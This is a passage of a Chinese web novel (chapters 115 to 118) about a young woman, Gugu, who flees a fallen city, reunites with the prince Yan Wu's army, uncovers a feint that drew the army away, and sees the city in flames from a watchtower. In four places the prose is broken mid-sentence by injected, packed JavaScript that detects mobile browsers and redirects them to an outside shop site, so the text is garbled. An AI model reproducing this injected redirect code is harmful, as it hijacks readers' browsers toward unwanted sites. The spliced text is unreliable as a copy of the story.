几人的声间渐弱,不是因为他们的说话声小了,而是古古的注意力已经不在他们身上。她一边想着,这些人也好意思说自己有能力担任领导之职,真是不自量力,一边又思考着燕无的去向。甾染发生了这么大的事,或许已经有人向他通报了,他现在在哪呢,那边的战事如何了,通信报是否能够传递清楚甾染的危急处境,燕无会立刻撤军吗,什么时候能回来,对付得了破城的敌人吗? 反复想着这几个问题,加之白日在田间操忙,古古不禁有些昏昏欲睡。她想和苏月靠在一起,以彼此的体温取暖,来熬过这个夜晚,但女人侧身躲了开来,似乎不情愿让她这么做。古古太困,也没细想为什么,只当对方还处在惊慌之中,想一个人待着。于是,她便蜷在有些阴冷的木板上,抱着自己睡了过去。 第二日,天明。 唤醒她的不是没有温度的日光,而是一阵大地的震颤。她猛然惊醒,坐起来,寻找丁森的身影,在篷子的开口处发现了对方,“怎么了,甾染那边又发生了什么吗?” 丁森回过头来,摇摇头,“这回不是。您看外面。” 古古顶着一头杂乱的头发爬起来,凑到篷子的入口,朝外探出头去。她看到西边有两匹嘶鸣的枣马,上面坐着两个甾染军装的士兵,他们站在高处,遥望着这片簇拥的逃亡人群。 “是内承的人!”周围,有人突然喊道。 “内承大人来救我们了!” 古古听闻,一惊。是燕无吗?仅隔一晚,他已经赶回来了?可她记得二十多日前,向燕无通报传信人说,摄文凿山的地点距离甾染有三日的路程。他怎么这么快就现身了? 不过,她也没多想,听闻燕无即将归来,内心中更多的是喜悦和安定,就像那些逃难者说的,他终于回来解救他们了。 原来那惊醒她的巨响,是甾染大军的铁蹄声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13082012|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得知这一点后,即便那声音再怎么振聋发聩,她也不感到害怕了。 渐渐地,山坡上出现了一只大军。他们与晨曦的微光一同出现,仿佛是救世的神明一般。 逃难者向他们簇拥而去,就连那一度讥讽武王和内承的人们也朝大军的方向聚拢,想要投入甾染士兵的庇护之下。 有官兵出列,将人们安抚在一旁,保证他们的稳定,好让军队顺利通过这并不宽敞的山谷。 大军如河流一般,倾注进了这只有几间草屋的小村落。古古身处岩壁之下,遥遥望去,想在那众军之中寻找一个熟悉的身影。但奈何距离太远,人员混杂,她一无所获。 这只军队浩浩荡荡,不见首尾,不过,它走着走着就慢了下来,最终停在了这个山谷里。有传令官高声呐喊,古古听到他们在说,“在此驻扎”。 不知道是什么情况,但看这个样子,甾染的大军一时不会前行了。 这是个寻找燕无的好机会,古古想着,便动身往那军队里走,丁森则跟在她的身后。 一个个营帐搭了起来,此刻分明是白日,可这些甾染将士却有种要在这里过夜的势头,让人摸不着头脑。 外围的士兵见她一身便衣,就拦住了她,不让她靠近。古古表明了身份,并阐述自己的来意,说有很重要的情报要传达给内承。士兵这才放她靠近,并跟着她一同前往主帅营帐。 营地尚在搭建,位置有限,散乱又拥挤。几人绕来绕去,躲躲闪闪,终于来到了内承所在的营帐之中。 引路的士兵掀开帘幕,先钻了进去。古古在外面听到他的声音,“内承大人,经贸师在外,说有要事求见。” 古古没听见里面的人回应了什么,半晌,士兵出来了,对她道:“大人请您进帐。” 古古掀开帘幕走了进去,眼前一暗,就见有些昏暗的营帐里有三个身影。其中一个是燕无,另外两个古古没见过,不过看那人高马大、气质轩昂的模样,大抵都是将军,只是管哪只军队就不知道了。几人之间摆着一张木桌,上面摊开一张皮制的地形路,几面旗帜插在上面,模拟着行军的路线。 一身戎装的燕无走了过来,模样比他平时看起来更加高大硬朗。男人问她,“你怎么来了?” 古古抬头,忧心忡忡盯着他,“燕无,城门口出事了。” 燕无:“我知道。你是从那里逃出来的?” 古古:“我昨天下午为了查看今年农田的生长情况而离城,回去的时候,已经有人攻破了甾染的城门。他们有远程兵器,我们不敢回去,就只好逃跑了。” “什么远程兵器?”燕无问。 这时,紧跟在古古身后的丁森开口了,“那是一种形似撬棍的长武器,木制铁边,似乎能够射出非常细小的物件,其作用和箭簇差不多,但比射箭要具有更强大的破坏力。” 燕无身后的一个将军开口,他声音拨高了,问道:“比弓箭还强?什么玩意,从来没听说过。” 115. 调虎离山5 丁森转向提出质疑的将军,说道:“我们亲眼看见了。那种武器的威力非常强大,可以在百米开外击碎人的头骨。内承大人知道,我在经贸师大人身边担任的并非车夫而是护卫之职,但后半程的逃亡却是由我驾车,那是因为在我们还没能靠近甾染城门的时候,车夫就被那种武器杀死了。” 燕无听完,问他,“当时你们离敌人有多远?” “两百米左右。”丁森答。 “两百米,想要击碎人骨……”燕无嘀咕着,一时陷入了沉思。 这时候,在场唯一没发话的将军开口了,他与那质疑丁森的将军不同,表现得更加沉着冷静,“内承大人,此次事件发生得有些蹊跷。我们前一阵离开甾染,去白鸣谷西侧截堵凿山而来的摄文大军。可是当我们到了那里,却一点动乱的迹象都没有看到,等了二十天,还是一点风吹草动也没见着。我怀疑……” 那年迈却锐利的老将说到一半,目光向古古和丁森掷过来。燕无顺着看过来,说明道:“没关系,这里没有外人,一将军请讲。” 将军听闻,这才继续说了下去,“我怀疑,摄文从一开始就没有凿山的动向。探子最初传递给我们的情报是虚假的,就是为了调虎离山,引我们离城。” 燕无皱眉,“一将军,你的意思是,有人趁我们不在城中,偷袭了甾染?” 听到这里,古古也拼命朝燕无点了点头,表示她也是这么想的。燕无看到她的反应,眉目间的沟壑愈发深邃了。 一将军压低了声音,说:“我们何时行军,何时归来,这些行踪都是机密。内承大人,如果不是我戒备过头的话……恐怕我们身边,有敌人的内细。” 燕无睁大眼睛侧望着一将军,仿佛对方的话给了他极大的冲击。 另一个稍显年轻的将军凑过来,朝燕无问道:“内承大人,下一步我们该怎么办?” 被问话的人思量少顷,下令道:“五将军,抽调你的人手搭建瞭望台。一将军,让快马回甾染打探情况。二位将军,这两者都要在今晚之前完工,夜幕降临后,我军就必须收营突击了。” “是。” “是!” 两个将军领命,一前一后离开了主帅营帐。他们走后,营帐里就剩下了燕无、古古和丁森三人。 突然就剩下了他们几个人,古古一时间竟然不知道该说些什么了。现在是公事重要,还是私事重要?丁森还在这里,她不能太过失态,想什么说什么。 犹豫的半晌,古古看见燕无把头盔解了下来,放在桌面上。发丝曲折地黏在脸上,他转过头来向古古问:“帐子里太闷了,出去走走吗?” 古古连连点头,两人一同走出营帐,丁森还跟在他们后面。古古回过身去,和这个尽职尽责的下人说道:“我们离开好一阵了,去看看月姐的情况吧,我怕她一个人待着害怕。” “是。”丁森领命离去。 燕无带着古古两人在军营中穿梭,不久,他们来到了山岩边上,时不时有微风吹过,但并不觉得冷。山岩附近,五将军的人手正在搭建瞭望塔。燕无与古古两人便站在那还没有雏形的建筑边上,遥望着士兵们忙忙碌碌搬运材料,将它们熟练地组合在一起,越垒越高。 看得入神时,古古只听上方传来了问话,“不说点什么吗?” 古古抬头,看向发问的燕无,“什么?” 燕无眼中有丝笑意,“从在营帐里那时起,你就一副欲言又止的模样。” 古古回过神来,“哦,那是因为……” “因为什么?” 古古抿抿嘴,把这些天她最关心的问题问了出来,“之前为什么一句话不解释就走?” “会客室外面那时?” “是啊。” 燕无深吸了口气,又吐出淡薄的白雾,“我猜到你要问我这件事了。” 听他这么说,古古顿时有些气不打一出来。他明明知道自己关心什么,却故意一句话都不提,让她白白多虑,“那你倒是解释呀。” 燕无的笑意淡淡的,略下坠的目光专注地注视她,仿佛天地间只有他们二人一般,“我以为你懂我。” 古古一怔,被燕无盯得有些不知所措。不过,她很快清醒过来,从对方不管是有心还是无意设下的圈套中挣脱,“别想用这种话绑架我!你不说我怎么懂?” 被锤了一拳,燕无却是笑得更加开心,“对不起,我解释。那时候一句话不说就走,是因为时间太紧迫了。你当时也听到了,传信兵说山壁马上就要被摄文凿出一条路来,而我军赶过去还要三日的路程,如果不马上出兵就来不及了。” 他这么解释倒是可以理解,但是真正导致古古不解的还有另一层原因。她把他拉到一边去,躲在山壁形成的天然角落里,借几颗枯死的灌木遮挡,对他小声说道:“可我们不是说好了,要撒手不管离开甾染吗?明明那时候你也说了,说你终于和你父王闹翻了天,是离开的好时机。我们不是都计划要去牧盟了,甾染怎么样也都和我们无关。可你怎么突然就改了主意?” 燕无注视着她,缓缓说道:“我没有改变主意。” “那你为什么还要来打这一场仗?” “这件事我们之前说过,但是你忘了。”燕无道。 古古疑惑,“说过?” 燕无偏过头去,看着外围那些忙碌的士兵。他开口,音色里有种叹息的意味,“我这辈子一直在处理别人的烂摊子,那是什么滋味,我最清楚。甾染和摄文在这鸟不拉屎的白鸣谷打了几十年了,来来回回反反复复分不出个胜负。打得人都厌倦了,士兵也疲惫。与摄文的战争留给后人去处理,也还是一滩进也难退也难的烂泥。倒不如由我来结束它。” 他说完,目光再度垂下来,颇为柔情地注视着面前的女人,尽管他话语里说的是些打打杀杀的事情,但与之对应的凶残表象丝毫没有在他的脸上显现。 古古盯着他,问道:“你是不想把这棘手的事留给你大哥去处理。” 燕无:“嗯……是。其实,不管我退位给谁,到时候摄文得知甾染易主的消息,肯定会来趁乱闹事。我不会给他们这样的可乘之机,最好的办法就是在我离开之前浇灭他们的气焰。” 好吧。古古想。原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108524|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来是这样,这样解释的话,她可以理解他直到现在所做的一切了。 不过,她还是愤愤不平地敲了一下他的脑壳,这也多亏她站在一块石头上才做得到,“下次再有这种事,不要再叫我猜了,我又不是你肚子里的蛔虫。派人传个话也好啊。” 燕无任她敲打,甚至俯下身来,“一定。” 叮叮当当,不远处传来了击打铁锤的声音,瞭望塔正式开始搭建了。 两人打算离开这个灌木丛包裹的隐蔽之处,毕竟消失了太久也会让人生疑。他们非常默契地没有说话,只是一个人抬腿有要离开的架势,另一个人也跟了上去。 所以,他们的出现是悄然无声的。可能就是因为这样,在灌木丛外偷听的人才没有预料到两人突然的出现。 “啊……” “咦?” 古古有些茫然地盯着突然出现在眼前的女人,那是苏月,她身体靠在山壁旁,躲藏在低矮灌木丛的另一侧,离他们二人刚才所在的位置非常近。她几乎是整个人都贴在石壁上,就好像在偷听邻居交谈声的窃听者一般。 “月姐?”古古不明所以,问道,“你在这干什么呢?你这是……在听我们说话吗?” 苏月后退了两步,脸色崩得很紧,她来回看着燕无和古古,下一刻,像是破罐破摔,也不解释自己窃听的缘由,目光殷切地望向燕无,对他说道:“内承大人,您说您要离开这里?那是什么意思,您要离开甾染吗,您要去哪里?” 古古心下一沉,刚才那番话果然让苏月听见了。甾染人并不知道燕无打算卸任,这件事任谁听见都会大为震惊,甚至可能有人会趁此机会闹事。所以,一定不能在那之前走漏风声,不然一定会引起轩然大波。 可是苏月已经听见了,怎么办? 一旁,脸色有些阴鸷的燕无开口说:“你有什么事找我吗,农务官?” 女人却像没有听见燕无的询问,大声对他说道:“大人,无论您要去哪,请带上我吧!” 她这话一出,古古也是惊诧,她没想到苏月竟然会说出这种话来。 燕无的脸色又沉重了几分。苏月看到了他的面庞,小声柔弱地问他,“不可以吗……?” 甾染内承的神情未曾变化一瞬,他还是那幅严肃的模样,对苏月说道:“我没有要离开甾染的打算,你误会了。” “请不要这样说,大人——” “农务官,这次我交待给你的事,你完成的不错。往后甾染的农耕之事,也多有劳你了。” 苏月被打断之后,便垂下了头,不再说话了。她的表情有些低落,似乎也听出了燕无的言外之意。那个意思分明是,她听了不该听的话,就该当做没有听见,什么也别戳穿。就算戳穿了,也不会有人回应,因为,她正在被拒绝,无权置喙,也无权参与其中。 燕无带着古古离开了,与苏月擦肩而过的时候,他就仿佛不认识这个人一般。古古想和她说说话,以为是燕无的阴沉吓到这个文静的女人了,想安慰她男人没有恶意。可是燕无拽着她,丝毫也不放开,无奈,她只能看着女人落寞的身影越来越远。 116. 调虎离山6 那之后,燕无与古古分开了。内承前往军营深处,和将军们商计更进一步的计划,毕竟有备无患,备用方案不嫌多。而古古本来要回到她昨晚过夜的篷子里,却在半路被一名军士拦住告知,内承大人给她安排了一间空营帐,叫她到那里休息。这样的好意,古古自然领受。于是,她去叫了丁森过来,又带上那还在瞭望塔周围徘徊的苏月,几人一起分享了燕无提供的军帐。 苏月被古古领进来的时候,情绪依然很低落,怎么也好不起来。古古尝试和她搭话,没有回应,给她带回来食物,她也不吃,给她讲笑话,女人也并不领情。 直到白日将近,入夜之时,整个营地中的将士都开始紧锣密鼓地行动起来,收起营帐,清点武器,向甾染折返,在他们嘈乱的马蹄声中,苏月这才说了第一句话。 “不想在这里……” 古古听见她的呢喃,意识到女人终于肯说话了,忙凑过来,把她新从军士那里分来的口粮递给苏月,“月姐,吃点东西吧,你已经饿了一天了。” 苏月回过头来,她盯着古古手里的干粮,摇摇头,“我不吃。” 古古一听,心急了。这人这么瘦弱,再不吃东西,怎么熬过今天晚上呀。想到这里,她态度强硬了一些,把手里的馍塞进苏月的怀里。 哪想到,一碰到苏月,对方却突然产生了剧烈的反应。苏月一下子把古古的手打开,那块白馍也掉在地上,可她像是没看见弄脏的粮食一般,仿佛那个会为枯萎的冬寒菜种子悲伤的人不是她。苏月腾一下站起来,面色十分地嫌恶,她盯着一脸茫然的古古,说出了她今天最长的一段话。 “我能待在这里,不用和那些城民一样在外面受冻,是借了你的光。”她说,目光既绝望又布满仇怨,“可我宁愿在外面受冻,只要你消失在那人的身边。” 古古愣愣地盯着她,直到女人坐回角落,再度无言地对着布制的军帐,古古这才回过神来,把那无辜的白馍从地上捡起来。 她想,谁喜欢什么人,也不是自己说了算的。 只是喜欢而己,那样轻浮的感情,还不足以震摄她。 “我离开,你就能保证自己可以一直坚定地待在他的身边吗?”古古问。 苏月没有回话。 “即使他是女人,你也会在他的身边吗?” “内承大人不是女人。” “他不是内承,你还会在他身边吗?” “当然,因为他马上就是甾染的武王了。只要没有别有用心的人在他身边蛊惑他。” 听到这里,古古已经没什么想说的了。她拍干净那块馍,捡起来继续吃,不嫌弃它脏,毕竟她喜欢,而且西边的面食尤为珍贵。 入夜了,甾染大军的铁蹄声离开了这片山谷,一切万籁俱寂。人们遁入沉眠,等待明天内承胜利的消息唤醒他们。 然而,半个夜晚过去,他们等来不是喜讯,却是黑夜中突如其来的暴鸣。 人们在睡梦中惊醒,他们又听到了来自甾染的巨大轰鸣,没人知道那是什么东西制造的声音,它似乎比白天那时更剧烈,也更连绵不绝。 没有人能在那样的轰鸣声中睡一场好觉,古古也不例外。她早在第一次巨响响起的时候就醒了,带着丁森离开了军帐,四下询问发生了什么。但是,周围的逃亡者们都和他们一样迷茫。 出来了之后,她才发现不是所有军队都离开了山谷,仍有一只大军驻扎在此地。古古从那群士兵中看到了一个不算熟悉的身影,那是一度在主帅营帐中领命建设瞭望塔的将军,燕无称之为五将军,估计他率领的就是五军。 对了,瞭望塔。古古突然想起还有这东西存在。那上方的视野清晰,一定知道甾染那边发生了什么。 想到这里,她带着丁森,两人便向那高耸入云的建筑靠拢。它搭建得十分简易,仿佛一条去肉的鱼骨,但功能齐全。此刻正有一个士兵站在塔顶,像甾染的方向瞭望。塔下站着四五个传信的士兵,严阵以待。在时不时响起的巨响之中,这些士兵却丝毫不受干扰,恪守其应尽之职。 瞭望塔周围没有多少警戒,留下的五军大多集结于山谷的东侧,以待随时向甾染发起支援。古古来到瞭望塔下,此时已经有部分逃亡者围聚在这里,问那些士兵甾染的方向发生了什么。士兵没有回答平民的义务,他们保持着沉默,只在特定的时间,他们会定期派人向五将军汇报情况,而几次传信过去的消息都是:甾染方向未见异常。 底下的民众就开始疑问,“真的没有异常吗,那种吓人的动静又是怎么回事?” 士兵不回答他们。 古古抬头向上方看去,瞭望塔上唯一的士兵在严苛地视察着山谷的另一端,甾染的状态一定在他眼中清晰可见。但是,怎么会没有异常呢?难道那接连不断的轰鸣声是他们的幻觉吗? 古古望眼欲穿,她很想上到那塔顶上去,看看远处究竟发生了什么。不禁想道,有什么借口能让她登上去吗? 就在思考的时候,一个粗旷的声音在她身边传来,“我说,那上面的,你别是在骗我们吧?” 古古向声源看去,视野里的是一个身材魁梧的女人,她皮肤黝黑,上面铺满了大大小小的淡色疤痕,嘴唇厚实,耳垂也大,睫毛浓密得像是两把刷子,全身上下的肌肉显现出一种喷薄待发的架势。古古看着对方,总觉得在哪见过她。她在回忆里搜寻了片刻,突然,灵光一闪,“啊!” 原来是她!是那尖兵募选最终十人里唯一的女人。她怎么会在这? 壮硕的女人仰着脖子,仅仅是站在那里,就让人感觉不寒而栗。古古不是唯一一个这么想的,从那塔底下的四五士兵的反应中也能看出来,他们都捏紧了武器,身体面朝着女人,谨慎且多疑地盯着她,仿佛她是什么越狱的逃犯一般。 “你们派人上去确认过吗?”女人再度开口,朝塔底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13123181|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下那几个负责传信的士兵说道,“要是那上面的人在说谎怎么办。不,他就是在说谎吧,那动静把我耳朵都快震破了,还说没有什么异常?你们别是派了个瞎子上去。” 女人说完,抬腿靠近瞭望塔的底部。塔下的士兵立刻警戒起来,长刀招呼上来,试图逼退女人,“这里是兵家重地,再往前一步,即刻将你扣押!” 那女人却丝毫没有俱意,“扣押我?那你们的人数可有点不够。” 说罢,她把背上的皮革披风一掀,亮出一把半人长的大砍刀,它在月色之下镀上了一层冷霜,更显得骇人无比。周围围观的人群见这副架势,纷纷开始害怕,向外围退散。丁森也拦在古古的身前,示意她后撤些许。 “退后!”持刀的士兵大喊。 女人不管对方说了些什么,她像是一只待发的雪豹,一个健步冲上前去,砍刀直朝对面几个士兵挥去。第一个士兵接下了她的挥砍,然而,只听一声什么东西碎裂的声音,那人的膝盖一下子打了弯,整个人都栽倒了下去。女人长刀一挥,把近前的士兵甩去一旁,紧接着就朝另外几个士兵冲了过去。 “等、等等!”士兵的等还没说完,他们面前的砍刀一立,一横,一碰,就把他们纷纷打趴在地。他们的败局来是那样的快,所有人就像是被刀风震倒了一般,可见挥舞那把砍刀之人的力量有多难以想象。 在士兵倒下后,女人没有停歇。她粗壮的脖颈傲然一抬,看向瞭望塔的上方。紧接着,她把砍刀往身后一收,一下子扑到那上行的爬梯上去,四肢有力地配合着,像疾行的迅猛野兽一般,瞬间就窜到了那瞭望塔的中部,整个木制的临时建筑在她手下摇晃着,摇摇欲坠。 这时候,围观的群众回来了,他们开始给这异于常人的女人加油打气,“快爬啊!” “女壮士,帮我们看看甾染到底发生了什么!” “是啊,家那边到底怎么了,那巨大的响声到底是怎么回事?” “小心上面的人!!” 女人一抬头,只见瞭望塔顶部的士兵也在俯视着她。那人从腰侧抽出长刀,反手握住,刀尖向下,手臂高抬,像用一把矛一般瞄准了正在攀爬的女人。下一瞬间,士兵猛一发力,长刀脱手,刀尖直朝女人的眉眼而去。那强壮的女人眼急手快,当即松开左手,身体往一侧偏移,躲开了那自上而下的锐锋。 她躲开后,爽朗地大笑,“哈,下面的兄弟们刚才也只想要抓我,你却直接下杀手。阴贼,你果然有问题!” 话毕,女人如一阵狂风袭过,窜上了瞭望塔顶部的高台。一阵殴打声传来,只见一个士兵模样的人从顶部摔下,咚一声砸在地上。他挣扎着爬起来,却是哇一下子吐了一大口血,又倒在地上不动了。 清风掠过高台,瞭望塔顶部的女人向远端眺望,她的背影凝固又沉默。 “怎么了呀?” “女壮士,你在上面看到什么了?” 117. 围城1 人们按捺不住地询问她。与此同时,地面上那几个被女人打倒在地的士兵又站起来了,他们重新振作,顽强不屈,紧随着女人的脚步开始攀登瞭望塔,“不能让她再为非作歹,势必抓住她!” 士兵们像串蚂蚱一样,一个接一个爬上了瞭望塔的顶层。他们刚要对女人展开抓捕,都已经把她的手臂擒住了,可是,突然,士兵们却突然不动了。 人们在紧张地盯着上方的情况,不知道发生了什么,只见顶部的人全都看着甾染的方向,背影一个比一个凝滞。 片刻之后,一个士兵转过了身来,他神情惨白,张口,以厚重磅礴的声音喊道:“突袭失败,甾染陷落。汇报将军,汇报将军!!” 他这话一出,底下的人仿佛揭开了锅一般,纷纷惊诧不已,“甾染陷落?!” “怎么可能!”人们不相信地反问着。 这时候,又是一声震天的响动从甾染传来,这一声比以往每一次都要大,宛如一道铺天盖地的惊雷,直接将这个山谷里的人打入了一片沉默。在短暂的静默之后,人声又开始鼎沸起来,似乎经历那剧烈的爆响之后,他们突然相信了士兵所说的话。 “怎么办?我们的家没了!” “家没了,家没了!我们该去哪!?” 瞭望塔顶部的士兵窜了下来,已经没有人顾及得了那个违抗军令的女人,士兵们均一脸严肃地往五军所在的方向而去。 古古在远处看着,只见那几个士兵的身影没入了大军之间。他们就像是投入湖面的一粒石子,起初荡起的只是一圈涟漪,可是随着时间的推移,那波纹越荡越大,越荡越远,最终铺满了整片湖面。不过多久,五军便如同沉睡的巨兽一般,在浅眠中苏醒了。它开始移动庞大的身躯,一只出军的号角响起,回荡在这幽深的山谷之中。铁蹄声再度响了起来,可是,在这人心惶惶的当下,它那令人心安的效用好像不复存在了。 强壮的女人从瞭望塔上跳下来,脚刚一落地,就有一群人围上去,叽叽喳喳问她甾染的方向发生了什么。女人似是嫌烦,取出长刀在周围随手挥了两下,顿时,她身边几米以外都不再有人影了。 古古在外围好奇地打量着她,也想上前去问问甾染的情况,可是看到女人身后的长刀,想起她那拒人千里之外的行为,又有点胆怯了。 女壮士四下环视了一圈,偏棕的眼眸宛如兽眼一般,那副来回巡视的模样像是在寻找什么。看了一圈,似乎并没有收获,她挠挠头,仿佛是为了什么事情而感到迷茫,“刚刚还在这来着……” 对方果然是在找些什么。古古也向周围看去,心想着要是能帮忙找到东西,说不定能借机说上话。 可是女人会是在找些什么呢? 就在困惑的时候,一道阴影从上方投了下来。她听见身后的丁森抽出配刀,低沉的声音里带着威胁的意味,“别再靠近!” 古古抬头,只见那皮肤黝黑的女人站在自己身前。丁森的刀抵在她胸口,可她却像是看不到似的,双手插腰,微微倾身,近一步靠近眼前的小不点女人。 “原来在这呢。”那身形高大的女人说。笑起来,露出一排整齐的牙齿,“你就是内承身边那个小姑娘吧?” 没想到对方主动接近了自己,虽然有些突然,但古古还没忘了之前想问些什么,“这位……女壮士,请问——” “他和我说你就长得一小点,让我别不小心踩到了,我还觉得哪有那么夸张。现在走到近前这么一看,还真是啊,我刚才差点没找到你!”女人惊奇地打量她,眼神里没有恶意,虽说话语有些粗鲁,“你好,我叫苗烽,咱们之前在军营的主事楼里应该见过一面。你刚才是不是要说什么被我打断了?” 古古没去再意对方话词里的其它内容,还是执着地问起之前的问题,“我想问,你在瞭望塔上看见了什么?” 苗烽直起身来,丁森这才把那没什么作用的刀收了起来。女壮士看向瞭望塔的方向,但显然,她不是在看那座塔,而是透过它,想起了刚才在那之上的所见,“情况很奇怪啊,整座城都在冒烟。这和之前计划好的不一样。” 古古听到这一句,不由皱起眉头,“计划好的是指什么?” 苗烽回过头来,眨眨眼,露出一副惊讶的模样,“啊,你不知道?” “什么?”古古问。 “你不知道内承的计划?” 古古心中疑惑,“什么计划?” 苗烽一手抱住自己的脑袋,拍打了一下,“哎呀,你真不知道。我看你待在他的身边,还以为你……” “燕无有什么计划?”古古追问。 女人支吾了一声,顾左右而言他,“不重要。既然你不知道,就不重要。呃,你不是很在意甾染的情况吗?我可以带你上瞭望塔上看看。” 一听可以亲眼见到远处的情况,古古暂时放下了疑问,“你能带我上去吗?” “当然了。”苗烽自信地说。 她蹲下来,伸出手,示意古古坐在她的手臂上,似乎就想这么用一条胳膊把她抱起来。丁森见状,立刻拦在两人之间,说道:“大人,您要上瞭望塔,我可以帮您。” 苗烽一脸嫌弃,五官都皱在一起,“揽什么活啊,在旁边舞舞刀助助兴不好吗?” 古古从丁森的身后走出来,“没关系,丁森,我上去看看就下来。她爬上去过一次,有经验,就让她载我上去吧。” “看到没,你主子发话了。”苗烽一把推开丁森,来到古古面前,伸手一捞就把人捞了起来,毫不费力似的,“等下你抱着我的脖子,我一瞬间就能让你感受到顶层的风。” 还没等古古理解一瞬间有多快,苗烽把她往上一提,又把她转到身后去,古古就只能在她背后抱住她的脖子。女壮士的脖子比她的大腿都粗,抱着就像是在搂着一颗树,让她觉得自己就像是个挂在马背上的水袋。紧接着,一阵风掀飞了头帘,视野一阵颠簸,天空骤然临近,她哇一声叫出来,却吞了一嘴的冷气。 待颠簸不再那么剧烈,古古回头,望见山峰下沉,丁森的身影变成了拳头大小。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13130008|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她们已经在半空中了。 居然已经离地这么高了!?她不禁在心中暗暗感慨。 苗烽还在向上攀爬,背后挂着个人,可她速度却一点也不降。三下五除二爬到了瞭望塔顶,女人将古古放在高台之上,抬手指向南方,“你看。” 尚在惊魂未定之中,古古往南方看去,下一瞬间,更强大的震慑罩住了她。 暗夜之下,傍山之地,那建立在半山的城池遍地生烟,烈火焚烧着苍白的城墙,浓烟滚滚,向天际而去。山城前的旷野一片暗沉,作物死寂,人影不现。城里城外都是一副千疮百孔的模样,而那一度回程的甾染大军却不见踪迹。 “怎么会……”古古盯着那仿佛末日一般的景象,喃喃道。 苗烽叉着腰,侧身遥望着甾染,神情凝重,“那样子就算五军回去的话,也无济于事吧。” “城池怎么会烧起来?”古古问道。 现在可是秋天啊,去年的雪都还没化,气温那么低,怎么会燃起那么绝望的大火? 苗烽低头看着她,思量了半晌,说道:“甾染那样是回不去了,你跟我跑吧,小姑娘。” 古古疑惑地抬头,不明白对方为什么突然这么说。 女人叹息一声,道:“内承委托我在进军之后找到你。他没具体交代我怎么做,只是要求我在他回来之前护卫在你身边。可是看现在这样……他应该回不来了吧。不过他之前给了我一大笔钱,我也不是什么忘恩负义的人,既然承诺了照看好你,那肯定不会就这么把你放着不管了。接下来的日子我打算去摄文转转,你可以跟我——” “燕无不会有事!”古古打断她,大声说道。 苗烽一愣,挠了挠下巴,“我那么说也不是指望他出事,可是你看……喂,你要干什么啊!” 古古没等她说完,来到了梯旁,几乎没有一刻的犹豫,握紧两边的扶手便窜了下去。苗烽扑过来想抓住她的胳膊,但还是慢了一步,女人惊声喊道:“上来!梯子间距太大了,你那小胳膊小腿踩空了怎么办!?” 古古没听她的。的确,她手脚都短,但是这并不妨碍她一步接一步地走。只要持之以恒,就能抵达终点,不管那是一把梯子还是什么。碰不到下一级的踏板,那就伸出脚尖,要是还够不到,那就双手抓住左右的梯梁慢慢往下滑。可能刚开始的时候不熟练、会踩空,往下看的时候也会担惊受怕,但是一级接一级,越来越快,也越来越熟练。最终,那看似比天高的长梯,也叫她一步步征服了。 双脚落在地面的时候,古古才发觉自己的腿在颤抖。 周围的逃亡者围过来,问她在上面看到了什么。古古抬头,看到苗烽马上就要追下来。再向人群里瞧去,看到丁森也在努力地接近她。 不行,不能让他们过来。她已经决定了接下来要去做什么,这两个身有护卫之职的人一定会阻拦自己。 此刻,她灵机一动,心里有了一套说辞。张口,挺直了胸膛,从她不大的身体里爆发出了一股强大的力量,“甾染飞起来了!” 118. 围城2 “啊?” “飞起来?” 显然,周围的人不敢相信她所说的话。 这在意料之中,古古继续喊道:“之前我们听见的巨大轰鸣,是它地基连根拔起的震响!” “真飞起来了?” “假的吧!” 古古不予理会,继续往下说:“我看到无数的财宝从天而降,那些不知是谁的财富铺满了大地,而士兵们正在将它们搜刮一空。” “真的假的?” “胡说吧!” “让我上去看看!” “他们凭什么随便捡别人的钱啊?” 有人不相信她的话,还有人为了证实她的话而想要攀登瞭望塔,这就够了。 几个逃亡者挤在木梯下面,都想要爬上那高塔。上面的苗烽还没有下来,她看到脚下的景象,嚷嚷道:“让开!挤什么啊,让我先下去!” 人们水泄不通地簇拥在一起,而另一边的丁森也没有免遭其难。古古趁乱压低了身形,在没有人注意到她的情况下,溜出了这个人群混杂的地方。 